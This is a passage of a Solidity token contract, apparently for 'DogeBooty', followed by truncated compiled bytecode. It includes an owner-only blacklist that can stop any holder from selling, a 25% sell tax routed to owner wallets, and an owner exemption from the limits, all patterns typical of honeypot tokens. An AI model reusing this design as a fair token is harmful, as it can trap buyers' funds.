function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// 60 Seconds cooldown to prevent P&D's!
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
// SELL!
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 9.5e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d64565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061288e565b61045e565b6040516101789190612d49565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ee6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061283b565b61048d565b6040516101e09190612d49565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127a1565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612f5b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612917565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127a1565b610783565b6040516102b19190612ee6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612c7b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612d64565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061288e565b61098d565b60405161035b9190612d49565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128ce565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612971565b6110ab565b005b3480156103f057600080fd5b5061040b600480360381019061040691906127fb565b6111f4565b6040516104189190612ee6565b60405180910390f35b60606040518060400160405280600981526020017f446f6765426f6f74790000000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161363960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b069092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612e46565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612e46565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b6a565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c65565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612e46565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f446f6765426f6f74790000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612e46565b60405180910390fd5b60005b8151811015610ad157600160066000848481518110610a6557610a646132a3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906131fc565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611cd3565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612e46565b60405180910390fd5b601160149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612ec6565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906127ce565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906127ce565b6040518363ffffffff1660e01b8152600401610df9929190612c96565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906127ce565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612ce8565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f53919061299e565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506783d6c7aab63600006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612cbf565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612944565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612e46565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e06565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611f5b90919063ffffffff16565b611fd690919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111e99190612ee6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612ea6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612dc6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612ee6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612e86565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612d86565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612e66565b60405180910390fd5b6005600a81905550600a600b81905550611589610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f757506115c7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4357600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116a05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116a957600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117545750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117aa5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117c25750601160179054906101000a900460ff165b15611872576012548111156117d657600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182157600080fd5b601e4261182e919061301c565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561191d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119735750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611989576005600a819055506014600b819055505b600061199430610783565b9050601160159054906101000a900460ff16158015611a015750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a195750601160169054906101000a900460ff165b15611a4157611a2781611cd3565b60004790506000811115611a3f57611a3e47611b6a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611aea5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611af457600090505b611b0084848484612020565b50505050565b6000838311158290611b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b459190612d64565b60405180910390fd5b5060008385611b5d91906130fd565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bba600284611fd690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611be5573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c36600284611fd690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c61573d6000803e3d6000fd5b5050565b6000600854821115611cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca390612da6565b60405180910390fd5b6000611cb661204d565b9050611ccb8184611fd690919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d0b57611d0a6132d2565b5b604051908082528060200260200182016040528015611d395781602001602082028036833780820191505090505b5090503081600081518110611d5157611d506132a3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611df357600080fd5b505afa158015611e07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e2b91906127ce565b81600181518110611e3f57611e3e6132a3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ea630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f0a959493929190612f01565b600060405180830381600087803b158015611f2457600080fd5b505af1158015611f38573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f6e5760009050611fd0565b60008284611f7c91906130a3565b9050828482611f8b9190613072565b14611fcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc290612e26565b60405180910390fd5b809150505b92915050565b600061201883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612078565b905092915050565b8061202e5761202d6120db565b5b61203984848461211e565b80612047576120466122e9565b5b50505050565b600080600061205a6122fd565b915091506120718183611fd690919063ffffffff16565b9250505090565b600080831182906120bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b69190612d64565b60405180910390fd5b50600083856120ce9190613072565b9050809150509392505050565b6000600a541480156120ef57506000600b54145b156120f95761211c565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121308761235f565b95509550955095509550955061218e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061226f8161246f565b612279848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122d69190612ee6565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea000009050612333683635c9adc5dea00000600854611fd690919063ffffffff16565b82101561235257600854683635c9adc5dea0000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c61204d565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b06565b905092915050565b6000808284612420919061301c565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c90612de6565b60405180910390fd5b8091505092915050565b600061247961204d565b905060006124908284611f5b90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611f5b90919063ffffffff16565b611fd690919063ffffffff16565b905060006125bc60646125ae888b611f5b90919063ffffffff16565b611fd690919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611f5b90919063ffffffff16565b9050600061262c8689611f5b90919063ffffffff16565b905060006126438789611f5b90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061269861269384612f9b565b612f76565b905080838252602082019050828560208602820111156126bb576126ba613306565b5b60005b858110156126eb57816126d188826126f5565b8452602084019350602083019250506001810190506126be565b5050509392505050565b600081359050612704816135f3565b92915050565b600081519050612719816135f3565b92915050565b600082601f83011261273457612733613301565b5b8135612744848260208601612685565b91505092915050565b60008135905061275c8161360a565b92915050565b6000815190506127718161360a565b92915050565b60008135905061278681613621565b92915050565b60008151905061279b81613621565b92915050565b6000602082840312156127b7576127b6613310565b5b60006127c5848285016126f5565b91505092915050565b6000602082840312156127e4576127e3613310565b5b60006127f28482850161270a565b91505092915050565b6000806040838503121561281257612811613310565b5b6000612820858286016126f5565b9250506020612831858286016126f5565b9150509250929050565b60008060006060848603121561285457612853613310565b5b6000612862868287016126f5565b9350506020612873868287016126f5565b925050604061288486828701612777565b9150509250925092565b600080604083850312156128a5576128a4613310565b5b60006128b3858286016126f5565b92505060206128c485828601612777565b9150509250929050565b6000602082840312156128e4576128e3613310565b5b600082013567ffffffffffffffff8111156129025761290161330b565b5b61290e8482850161271f565b91505092915050565b60006020828403121561292d5761292c613310565b5b600061293b8482850161274d565b91505092915050565b60006020828403121561295a57612959613310565b5b600061296884828501612762565b91505092915050565b60006020828403121561298757612986613310565b5b600061299584828501612777565b91505092915050565b6000806000606084860312156129b7576129b6613310565b5b60006129c58682870161278c565b93505060206129d68682870161278c565b92505060406129e78682870161278c565b9150509250925092565b60006129fd8383612a09565b60208301905092915050565b612a1281613131565b82525050565b612a2181613131565b82525050565b6000612a3282612fd7565b612a3c8185612ffa565b9350612a4783612fc7565b8060005b83811015612a78578151612a5f88826129f1565b9750612a6a83612fed565b925050600181019050612a4b565b5085935050505092915050565b612a8e81613143565b82525050565b612a9d81613186565b82525050565b6000612aae82612fe2565b612ab8818561300b565b9350612ac8818560208601613198565b612ad181613315565b840191505092915050565b6000612ae960238361300b565b9150612af482613326565b604082019050919050565b6000612b0c602a8361300b565b9150612b1782613375565b604082019050919050565b6000612b2f60228361300b565b9150612b3a826133c4565b604082019050919050565b6000612b52601b8361300b565b9150612b5d82613413565b602082019050919050565b6000612b75601d8361300b565b9150612b808261343c565b602082019050919050565b6000612b9860218361300b565b9150612ba382613465565b604082019050919050565b6000612bbb60208361300b565b9150612bc6826134b4565b602082019050919050565b6000612bde60298361300b565b9150612be9826134dd565b604082019050919050565b6000612c0160258361300b565b9150612c0c8261352c565b604082019050919050565b6000612c2460248361300b565b9150612c2f8261357b565b604082019050919050565b6000612c4760178361300b565b9150612c52826135ca565b602082019050919050565b612c668161316f565b82525050565b612c7581613179565b82525050565b6000602082019050612c906000830184612a18565b92915050565b6000604082019050612cab6000830185612a18565b612cb86020830184612a18565b9392505050565b6000604082019050612cd46000830185612a18565b612ce16020830184612c5d565b9392505050565b600060c082019050612cfd6000830189612a18565b612d0a6020830188612c5d565b612d176040830187612a94565b612d246060830186612a94565b612d316080830185612a18565b612d3e60a0830184612c5d565b979650505050505050565b6000602082019050612d5e6000830184612a85565b92915050565b60006020820190508181036000830152612d7e8184612aa3565b905092915050565b60006020820190508181036000830152612d9f81612adc565b9050919050565b60006020820190508181036000830152612dbf81612aff565b9050919050565b60006020820190508181036000830152612ddf81612b22565b9050919050565b60006020820190508181036000830152612dff81612b45565b9050919050565b60006020820190508181036000830152612e1f81612b68565b9050919050565b60006020820190508181036000830152612e3f81612b8b565b9050919050565b60006020820190508181036000830152612e5f81612bae565b9050919050565b60006020820190508181036000830152612e7f81612bd1565b9050919050565b60006020820190508181036000830152612e9f81612bf4565b9050919050565b60006020820190508181036000830152612ebf81612c17565b9050919050565b60006020820190508181036000830152612edf81612c3a565b9050919050565b6000602082019050612efb6000830184612c5d565b92915050565b600060a082019050612f166000830188612c5d565b612f236020830187612a94565b8181036040830152612f358186612a27565b9050612f446060830185612a18565b612f516080830184612c5d565b9695505050505050565b6000602082019050612f706000830184612c6c565b92915050565b6000612f80612f91565b9050612f8c82826131cb565b919050565b6000604051905090565b600067ffffffffffffffff821115612fb657612fb56132d2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130278261316f565b91506130328361316f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561306757613066613245565b5b828201905092915050565b600061307d8261316f565b91506130888361316f565b92508261309857613097613274565b5b828204905092915050565b60006130ae8261316f565b91506130b98361316f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130f2576130f1613245565b5b828202905092915050565b60006131088261316f565b91506131138361316f565b92508282101561312657613125613245565b5b828203905092915050565b600061313c8261314f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131918261316f565b9050919050565b60005b838110156131b657808201518184015260208101905061319b565b838111156131c5576000848401525b50505050565b6131d482613315565b810181811067ffffffffffffffff821117156131f3576131f26132d2565b5b80604052505050565b60006132078261316f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561323a57613239613245565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f